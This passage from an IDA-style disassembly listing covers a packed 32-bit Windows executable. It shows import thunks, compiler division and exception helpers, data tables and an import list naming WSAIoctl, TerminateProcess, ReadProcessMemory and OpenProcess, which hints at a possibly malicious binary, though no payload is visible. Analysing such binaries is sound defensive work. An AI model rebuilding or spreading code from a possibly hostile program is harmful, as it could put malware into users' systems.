sub_403260+4Cp ... jmp dword_41719C sub_416B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B76 proc near ; CODE XREF: sub_401E38+1ABp ; sub_4020C2+1A6p ... jmp dword_417198 sub_416B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B7C proc near ; CODE XREF: sub_401E38+179p ; sub_402698+24Cp ... jmp dword_417194 sub_416B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B82 proc near ; CODE XREF: sub_401E38+9Dp ; sub_401E38+262p ... jmp dword_417190 sub_416B82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B88 proc near ; CODE XREF: sub_401E38+42p ; sub_4020C2+159p ... jmp dword_41718C sub_416B88 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B90 proc near ; CODE XREF: sub_4020C2+2C1p ; sub_41102F+94p ... jmp dword_417188 sub_416B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B96 proc near ; CODE XREF: sub_4020C2+198p ; sub_4020C2+1BCp ... jmp dword_417184 sub_416B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B9C proc near ; CODE XREF: sub_4024F3+26p ; sub_4024F3+46p ... jmp dword_417180 sub_416B9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA2 proc near ; CODE XREF: sub_402698+160p ; sub_40CA29+F6p ... jmp dword_41717C sub_416BA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA8 proc near ; CODE XREF: sub_402698+CCp ; sub_402698+110p ... jmp dword_417178 sub_416BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BAE proc near ; CODE XREF: sub_402698+4Bp ; sub_4083AD+3DFp ... jmp dword_417174 sub_416BAE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416BC0 proc near ; CODE XREF: sub_403DF3+8p ; sub_40546E+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_416BE0 loc_416BCC: ; CODE XREF: sub_416BC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_416BCC loc_416BE0: ; CODE XREF: sub_416BC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_416BC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF0 proc near ; CODE XREF: sub_4041B7+Dp ; sub_4041B7+28p ... jmp dword_417170 sub_416BF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF6 proc near ; CODE XREF: sub_406041+67p jmp dword_41716C sub_416BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BFC proc near ; CODE XREF: sub_406E8E+2B3p ; .packed:00416B26p jmp dword_417168 sub_416BFC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C10 proc near ; CODE XREF: sub_40821B+61p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_416C31 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_416C81 ; --------------------------------------------------------------------------- loc_416C31: ; CODE XREF: sub_416C10+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_416C3F: ; CODE XREF: sub_416C10+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416C3F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_416C6A cmp edx, [esp+4+arg_4] ja short loc_416C6A jb short loc_416C72 cmp eax, [esp+4+arg_0] jbe short loc_416C72 loc_416C6A: ; CODE XREF: sub_416C10+4Aj ; sub_416C10+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_416C72: ; CODE XREF: sub_416C10+52j ; sub_416C10+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_416C81: ; CODE XREF: sub_416C10+1Fj pop ebx retn 10h sub_416C10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C90 proc near ; CODE XREF: sub_40821B+30p ; sub_40821B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_416CB2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_416CF3 ; --------------------------------------------------------------------------- loc_416CB2: ; CODE XREF: sub_416C90+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_416CC0: ; CODE XREF: sub_416C90+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416CC0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_416CEE cmp edx, [esp+8+arg_4] ja short loc_416CEE jb short loc_416CEF cmp eax, [esp+8+arg_0] jbe short loc_416CEF loc_416CEE: ; CODE XREF: sub_416C90+4Ej ; sub_416C90+54j dec esi loc_416CEF: ; CODE XREF: sub_416C90+56j ; sub_416C90+5Cj xor edx, edx mov eax, esi loc_416CF3: ; CODE XREF: sub_416C90+20j pop esi pop ebx retn 10h sub_416C90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CF8 proc near ; CODE XREF: sub_4088FC+1FAp ; sub_409226+5Cp ... jmp dword_417164 sub_416CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CFE proc near ; CODE XREF: sub_409226+55p ; sub_4092A4+55p ... jmp dword_417160 sub_416CFE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_409226+42p ; sub_4092A4+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_416D31 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_416D31: ; CODE XREF: sub_416D10+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_416D4D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_416D4D: ; CODE XREF: sub_416D10+27j or eax, eax jnz short loc_416D69 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_416DAA ; --------------------------------------------------------------------------- loc_416D69: ; CODE XREF: sub_416D10+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_416D77: ; CODE XREF: sub_416D10+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_416D77 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_416DA5 cmp edx, [esp+0Ch+arg_4] ja short loc_416DA5 jb short loc_416DA6 cmp eax, [esp+0Ch+arg_0] jbe short loc_416DA6 loc_416DA5: ; CODE XREF: sub_416D10+85j ; sub_416D10+8Bj dec esi loc_416DA6: ; CODE XREF: sub_416D10+8Dj ; sub_416D10+93j xor edx, edx mov eax, esi loc_416DAA: ; CODE XREF: sub_416D10+57j dec edi jnz short loc_416DB4 neg edx neg eax sbb edx, 0 loc_416DB4: ; CODE XREF: sub_416D10+9Bj pop ebx pop esi pop edi retn 10h sub_416D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DBA proc near ; DATA XREF: sub_4093B6+Ao ; sub_4094E6+Ao ... jmp dword_41715C sub_416DBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC0 proc near ; CODE XREF: sub_409479+41p ; sub_4095A4+162p jmp dword_417158 sub_416DC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC6 proc near ; CODE XREF: sub_4095A4+11Bp jmp dword_417154 sub_416DC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DCC proc near ; CODE XREF: sub_409CB1+105p ; sub_409CB1+114p ... jmp dword_417150 sub_416DCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD2 proc near ; CODE XREF: sub_409CB1+42p ; sub_409CB1+88p jmp dword_41714C sub_416DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD8 proc near ; CODE XREF: sub_409CB1+1Ap ; sub_409DD0+13Bp jmp dword_417148 sub_416DD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DDE proc near ; CODE XREF: sub_40A2D2+13Ep ; sub_40A9CF+1F6p ... jmp dword_417144 sub_416DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DE4 proc near ; CODE XREF: sub_40A8AD+90p jmp dword_417140 sub_416DE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DEA proc near ; CODE XREF: sub_40A9CF+185Cp jmp dword_41713C sub_416DEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF0 proc near ; CODE XREF: sub_40D420+47p ; sub_40D4AB+50p ... jmp dword_417138 sub_416DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF6 proc near ; CODE XREF: sub_40EF59+6Bp ; sub_40EF59+C1p jmp dword_417134 sub_416DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DFC proc near ; CODE XREF: sub_40F040+52p ; sub_40F040+A8p jmp dword_417130 sub_416DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E02 proc near ; CODE XREF: sub_40F040+1Ep jmp dword_417128 sub_416E02 endp ; --------------------------------------------------------------------------- loc_416E08: ; CODE XREF: .packed:00416FE2j jmp dword_417124 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_414EF4+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_416E10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E30 proc near ; CODE XREF: sub_4048EF+4Ep ; sub_4048EF+2CFp ... jmp dword_4171F8 sub_416E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E40 proc near ; CODE XREF: sub_414EF4+EAp ; sub_414EF4+1E2p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_416EAF retn 4 sub_416E40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E4E proc near ; CODE XREF: sub_414EF4+134p ; sub_414EF4+2D8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_416EA0 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_41DEB0 push eax call dword ptr [ecx] test eax, eax jl short loc_416EA0 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_416EA0 lea eax, [ebp+var_4] push eax push 0 call dword_4171C8 test eax, eax jz short loc_416EA0 and [ebp+var_4], 0 loc_416EA0: ; CODE XREF: sub_416E4E+Dj ; sub_416E4E+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_416EAF leave retn 0Ch sub_416E4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EAF proc near ; CODE XREF: sub_416E40+6p ; sub_416E4E+58p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_416ED3 lea eax, [ebp+var_10] push offset dword_4173B8 push eax call sub_416FA2 ; _CxxThrowException sub_416EAF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416ED3 proc near ; CODE XREF: sub_416EAF+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4172B4 test eax, eax mov [esi+8], eax jz short loc_416EFF cmp [esp+4+arg_8], 0 jz short loc_416EFF mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416EFF: ; CODE XREF: sub_416ED3+1Dj ; sub_416ED3+24j mov eax, esi pop esi retn 0Ch sub_416ED3 endp ; =============== S U B R O U T I N E ======================================= sub_416F05 proc near ; DATA XREF: .packed:off_4172B4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416F4E test [esp+4+arg_0], 1 jz short loc_416F1B push esi call sub_416DCC pop ecx loc_416F1B: ; CODE XREF: sub_416F05+Dj mov eax, esi pop esi retn 4 sub_416F05 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_4172B4 jz short loc_416F48 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416F48: ; CODE XREF: .packed:00416F40j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_416F4E proc near ; CODE XREF: sub_416F05+3p ; DATA XREF: .packed:004173BCo push esi mov esi, ecx mov eax, [esi+8] mov dword ptr [esi], offset off_4172B4 test eax, eax jz short loc_416F64 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_416F64: ; CODE XREF: sub_416F4E+Ej mov esi, [esi+0Ch] test esi, esi jz short loc_416F72 push esi call dword_4170B0 loc_416F72: ; CODE XREF: sub_416F4E+1Bj pop esi retn sub_416F4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F74 proc near ; CODE XREF: sub_401244+120p ; sub_406E8E+DAp ... jmp dword_4171C0 sub_416F74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F7A proc near ; CODE XREF: sub_4020C2+113p ; sub_4038BA+22Fp ... jmp dword_417114 sub_416F7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F80 proc near ; CODE XREF: sub_402A32+CCp ; sub_402A32+2B9p ... jmp dword_417118 sub_416F80 endp ; =============== S U B R O U T I N E ======================================= sub_416F86 proc near ; DATA XREF: .packed:off_4172BCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416FA8 test [esp+4+arg_0], 1 jz short loc_416F9C push esi call sub_416DCC pop ecx loc_416F9C: ; CODE XREF: sub_416F86+Dj mov eax, esi pop esi retn 4 sub_416F86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA2 proc near ; CODE XREF: sub_416EAF+1Fp jmp dword_41711C sub_416FA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA8 proc near ; CODE XREF: sub_416F86+3p jmp dword_417120 sub_416FA8 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A00h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FBC: ; DATA XREF: .packed:0041737Co lea ecx, [ebp-10h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0DF8h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0E14h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FDD: ; DATA XREF: sub_414EF4o mov eax, offset dword_417350 jmp loc_416E08 ; --------------------------------------------------------------------------- align 4 dd 6 dup(0) dword_417000 dd 17D12h dword_417004 dd 17D00h ; sub_406C51+96r dword_417008 dd 17D22h ; sub_406722+184r ... dword_41700C dd 17D32h ; sub_4083AD+2DDr ... dword_417010 dd 17D46h dword_417014 dd 17D58h dword_417018 dd 17D6Ah dword_41701C dd 17D7Ah dword_417020 dd 17D90h ; sub_4102AE+37r ... dword_417024 dd 17DA2h dword_417028 dd 17CF2h ; sub_406722+2F9r ... align 10h dword_417030 dd 17AB6h ; sub_40D043+20Br ... dword_417034 dd 17AA4h ; sub_408342+4Br dword_417038 dd 17A8Ch dword_41703C dd 17A80h ; sub_414EF4+8EEr dword_417040 dd 17A68h dword_417044 dd 17A5Ah ; sub_406B81+95r ... dword_417048 dd 17A4Ch dword_41704C dd 17A3Eh dword_417050 dd 17A28h ; sub_406AE7+15r ... dword_417054 dd 17A18h ; sub_403BD3+32r ... dword_417058 dd 17A06h ; sub_403BD3+4Dr ... dword_41705C dd 179F8h ; sub_407148+18Br ... dword_417060 dd 179ECh ; sub_406E8E+1FEr dword_417064 dd 179DCh ; sub_409CB1+CFr ... dword_417068 dd 179D0h ; sub_406D90+D3r dword_41706C dd 179C2h dword_417070 dd 179B4h ; sub_401981+D7r dword_417074 dd 179A0h ; sub_401981+111r dword_417078 dd 17AC6h dword_41707C dd 1797Ch ; sub_406E8E+2A5r dword_417080 dd 1796Ch dword_417084 dd 17956h dword_417088 dd 1794Ah dword_41708C dd 17920h ; sub_40332B+1D0r ... dword_417090 dd 1790Ah ; sub_40332B+1D7r ... dword_417094 dd 178FCh ; sub_406041+193r ... dword_417098 dd 178E8h ; sub_406509+91r dword_41709C dd 178E0h ; sub_401244+4F4r ... dword_4170A0 dd 178CCh ; sub_406643+3Br dword_4170A4 dd 178BEh ; sub_401244+4C1r ... dword_4170A8 dd 178A8h ; sub_406E8E+22Ar ... dword_4170AC dd 1789Ah ; sub_401E38+30r ... dword_4170B0 dd 17E32h dword_4170B4 dd 17BCAh dword_4170B8 dd 17BDAh dword_4170BC dd 17BECh dword_4170C0 dd 17BFCh dword_4170C4 dd 17ADAh dword_4170C8 dd 17AF0h ; sub_408F2E+134r dword_4170CC dd 17B06h ; sub_408F2E+7Fr ... dword_4170D0 dd 17B16h ; sub_4092A4:loc_409307r ... dword_4170D4 dd 17B26h ; sub_4092A4+14r ... dword_4170D8 dd 17B42h ; sub_4092A4+Ar ... dword_4170DC dd 17B5Ch dword_4170E0 dd 17B6Ch ; sub_4098F3+1B6r dword_4170E4 dd 17B7Eh dword_4170E8 dd 17934h ; sub_406643+19r dword_4170EC dd 17B9Ah dword_4170F0 dd 1798Eh dword_4170F4 dd 17C60h dword_4170F8 dd 17C50h dword_4170FC dd 17C44h ; sub_414EF4+5BCr ... dword_417100 dd 17C38h dword_417104 dd 17C1Eh dword_417108 dd 17C12h ; sub_414EF4+5CEr ... dword_41710C dd 17BB2h dd 0 dword_417114 dd 77C1C1F3h ; resolved to->MSVCRT._itoadword_417118 dd 77C464BFh ; resolved to->MSVCRT._strnicmpdword_41711C dd 77C226F6h ; resolved to->MSVCRT._CxxThrowExceptiondword_417120 dd 77C21868h dword_417124 dd 77C227FAh ; resolved to->MSVCRT.__CxxFrameHandlerdword_417128 dd 77C472B0h ; resolved to->MSVCRT.memmovedword_41712C dd 77C46030h ; resolved to->MSVCRT.strcpydword_417130 dd 77C35E02h ; resolved to->MSVCRT._rotrdword_417134 dd 77C35DDEh ; resolved to->MSVCRT._rotldword_417138 dd 77C3FF8Ah ; resolved to->MSVCRT._vsnprintfdword_41713C dd 77C46EB0h ; resolved to->MSVCRT.memcmpdword_417140 dd 17826h dword_417144 dd 1781Ch dword_417148 dd 17812h dword_41714C dd 17802h dword_417150 dd 177F2h dword_417154 dd 177E6h dword_417158 dd 177D4h dword_41715C dd 177C0h dword_417160 dd 177B8h dword_417164 dd 177B0h dword_417168 dd 177A8h dword_41716C dd 1779Eh dword_417170 dd 17794h dword_417174 dd 17788h dword_417178 dd 1777Eh dword_41717C dd 17774h dword_417180 dd 1776Ch dword_417184 dd 17764h dword_417188 dd 1775Ch dword_41718C dd 17754h dword_417190 dd 1774Ah dword_417194 dd 17740h dword_417198 dd 17738h dword_41719C dd 1772Eh dword_4171A0 dd 17724h dword_4171A4 dd 1771Ch dword_4171A8 dd 17712h dword_4171AC dd 17708h dword_4171B0 dd 176FEh dword_4171B4 dd 176F6h dword_4171B8 dd 176ECh dword_4171BC dd 176E2h dword_4171C0 dd 17DE4h align 8 dword_4171C8 dd 800000C8h align 10h dword_4171D0 dd 17DC8h ; sub_402A32+79Br ... align 8 dword_4171D8 dd 17C9Ch dword_4171DC dd 17CD0h dword_4171E0 dd 17C7Eh ; sub_408F2E+1D1r ... dword_4171E4 dd 17C8Ah ; sub_415B60+84r dword_4171E8 dd 17CB2h dword_4171EC dd 17CC0h ; sub_40D74D+7Er dd 0 dword_4171F4 dd 80000004h ; sub_4050EA+106r ... dword_4171F8 dd 80000097h dword_4171FC dd 80000001h ; sub_4048EF+39Fr dword_417200 dd 80000016h ; sub_412A3A+178r ... dword_417204 dd 80000015h ; sub_4055E5+7Br ... dword_417208 dd 80000002h ; sub_411DC5+DFr ... dword_41720C dd 80000013h ; sub_40A9CF+1A74r dword_417210 dd 80000005h ; sub_4045B2+21r dword_417214 dd 8000000Ah ; sub_40447B+10r dword_417218 dd 80000017h ; sub_4046BC+CEr ... dword_41721C dd 8000000Ch ; sub_40732D+1A8r ... dword_417220 dd 80000033h ; sub_4038BA+171r ... dword_417224 dd 8000006Fh ; sub_4038BA+186r ... dword_417228 dd 80000038h dword_41722C dd 80000012h ; sub_404E1C+E0r ... dword_417230 dd 80000003h ; sub_40A9CF+1A80r ... dword_417234 dd 80000070h ; sub_403588+4Ar ... dword_417238 dd 80000009h ; sub_403588+1FEr ... dword_41723C dd 80000034h ; sub_4055E5+F3r ... dword_417240 dd 80000006h ; sub_40449C+21r ... dword_417244 dd 8000000Bh ; sub_4055E5+DDr ... dword_417248 dd 80000010h ; sub_4053DC+27r ... dword_41724C dd 80000008h ; sub_4020C2+201r dword_417250 dd 80000014h ; sub_411DC5+372r ... dword_417254 dd 80000074h ; sub_407148+183r ... dword_417258 dd 80000011h dword_41725C dd 17882h dword_417260 dd 80000039h dword_417264 dd 80000073h dword_417268 dd 8000000Dh align 10h flt_417270 dd 1.0e3 ; DATA XREF: sub_401E38+207r ; sub_401E38+22Fr ... flt_417274 dd 1.024e3 ; DATA XREF: sub_408B30+2A2r dword_417278 dd 0FFFFFFFFh, 409449h, 40945Fh, 0dword_417288 dd 0FFFFFFFFh, 409572h, 40958Ah, 0dword_417298 dd 0FFFFFFFFh, 416AE7h, 416AFDh, 0 dd offset loc_416AC5 dd offset loc_416ADB dd offset dword_4172F0 off_4172B4 dd offset sub_416F05 ; DATA XREF: sub_416ED3+12o ; .packed:00416F3Ao ... dd offset dword_417338 off_4172BC dd offset sub_416F86 ; DATA XREF: .packed:off_41DEC0o ; .packed:off_41DEE0o off_4172C0 dd offset off_41DEC0 ; DATA XREF: .packed:004172D8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4172C0 dword_4172DC dd 3 dup(0) dd 1, 4172D8h dword_4172F0 dd 3 dup(0) dd offset off_41DEC0 dd offset dword_4172DC+4 align 8 off_417308 dd offset off_41DEE0 ; DATA XREF: .packed:00417320o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_417308 dd 0 db 0 ; DATA XREF: .packed:00417348o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 417320h dword_417338 dd 3 dup(0) dd offset off_41DEE0 dd offset unk_417328 align 10h dword_417350 dd 19930520h, 4, 417370h, 5 dup(0) dd 0FFFFFFFFh, 416FB0h, 0 dd offset loc_416FBC dd 1, 416FC5h, 2, 416FD1h, 0 dd offset off_41DEC0 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 416F21h, 0 dword_4173B0 dd 1, 417390h dword_4173B8 dd 0 dd offset sub_416F4E dd 0 dd offset dword_4173B0 dd 1757Ch, 2 dup(0) dd 17876h, 17114h, 1765Ch, 2 dup(0) dd 1788Eh, 171F4h, 17498h, 2 dup(0) dd 17C70h, 17030h, 17640h, 2 dup(0) dd 17CE6h, 171D8h, 17468h, 2 dup(0) dd 17DBAh, 17000h, 17638h, 2 dup(0) dd 17DD8h, 171D0h, 17630h, 2 dup(0) dd 17E3Eh, 171C8h, 5 dup(0) dd 17D12h, 17D00h, 17D22h, 17D32h, 17D46h, 17D58h, 17D6Ah dd 17D7Ah, 17D90h, 17DA2h, 17CF2h, 0 dd 17AB6h, 17AA4h, 17A8Ch, 17A80h, 17A68h, 17A5Ah, 17A4Ch dd 17A3Eh, 17A28h, 17A18h, 17A06h, 179F8h, 179ECh, 179DCh dd 179D0h, 179C2h, 179B4h, 179A0h, 17AC6h, 1797Ch, 1796Ch dd 17956h, 1794Ah, 17920h, 1790Ah, 178FCh, 178E8h, 178E0h dd 178CCh, 178BEh, 178A8h, 1789Ah, 17E32h, 17BCAh, 17BDAh dd 17BECh, 17BFCh, 17ADAh, 17AF0h, 17B06h, 17B16h, 17B26h dd 17B42h, 17B5Ch, 17B6Ch, 17B7Eh, 17934h, 17B9Ah, 1798Eh dd 17C60h, 17C50h, 17C44h, 17C38h, 17C1Eh, 17C12h, 17BB2h dd 0 dd 17DF0h, 17DF8h, 17E04h, 17E1Ah, 17862h, 17858h, 176D8h dd 17850h, 17848h, 1783Ah, 17830h, 17826h, 1781Ch, 17812h dd 17802h, 177F2h, 177E6h, 177D4h, 177C0h, 177B8h, 177B0h dd 177A8h, 1779Eh, 17794h, 17788h, 1777Eh, 17774h, 1776Ch dd 17764h, 1775Ch, 17754h, 1774Ah, 17740h, 17738h, 1772Eh dd 17724h, 1771Ch, 17712h, 17708h, 176FEh, 176F6h, 176ECh dd 176E2h, 17DE4h, 0 dd 800000C8h, 0 dd 17DC8h, 0 dd 17C9Ch, 17CD0h, 17C7Eh, 17C8Ah, 17CB2h, 17CC0h, 0 dd 80000004h, 80000097h, 80000001h, 80000016h, 80000015h dd 80000002h, 80000013h, 80000005h, 8000000Ah, 80000017h dd 8000000Ch, 80000033h, 8000006Fh, 80000038h, 80000012h dd 80000003h, 80000070h, 80000009h, 80000034h, 80000006h dd 8000000Bh, 80000010h, 80000008h, 80000014h, 80000074h dd 80000011h, 17882h, 80000039h, 80000073h, 8000000Dh dd 0 dd 747302BAh, 79706372h, 2BE0000h, 6C727473h, 6E65h, 616D0291h dd 636F6C6Ch, 25E0000h, 65657266h, 2970000h, 636D656Dh dd 7970h, 747302C1h, 70636E72h, 2B20079h, 69727073h, 66746Eh dd 6C630243h, 6B636Fh, 656D0299h, 7465736Dh, 2B60000h dd 63727473h, 7461h, 74660264h, 6C6C65h, 77660266h, 65746972h dd 24C0000h, 6F6C6366h, 6573h, 6F660257h, 6E6570h, 7266025Dh dd 646165h, 73660262h, 6B6565h, 7461023Dh, 696Fh, 737302B5h dd 666E6163h, 2C50000h, 73727473h, 7274h, 735F01AEh, 6972706Eh dd 66746Eh, 747302C0h, 6D636E72h, 2A70070h, 6C616572h dd 636F6Ch, 78650249h, 7469h, 665F00F1h, 6C6F74h, 65630241h dd 6C69h, 655F00CAh, 70656378h, 61685F74h, 656C646Eh, 3372h dd 625F00A6h, 6E696765h, 65726874h, 78656461h, 2DC0000h dd 72707376h, 66746E69h, 100000h, 40333F3Fh, 50584159h dd 5A405841h, 0F0000h, 40323F3Fh, 41504159h, 5A404958h dd 29E0000h, 6E697270h, 6674h, 747302B8h, 706D6372h, 2D30000h dd 6F6C6F74h, 726577h, 656D0296h, 706D636Dh, 1E10000h dd 6E73765Fh, 6E697270h, 6674h, 725F019Bh, 6C746Fh, 725F019Ch dd 72746Fh, 656D0298h, 766F6D6Dh, 490065h a__cxxframehand db '__CxxFrameHandler',0 aMsvcrt_dll db 'MSVCRT.dll',0 align 2 db '(',0 aWsaioctl db 'WSAIoctl',0 align 2 aWs2_32_dll_0 db 'WS2_32.dll',0 align 2 db '|',0 aDeletefilea db 'DeleteFileA',0 db 0Eh db 3, 53h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 a_ db '.',0 aClosehandle db 'CloseHandle',0 db 51h ; Q db 3, 54h, 65h aRminateprocess db 'rminateProcess',0 align 10h db 49h ; I db 3, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 0AEh ; ® db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 dd 704F027Ch, 72506E65h, 7365636Fh, 1750073h aGetmodulefil_0 db 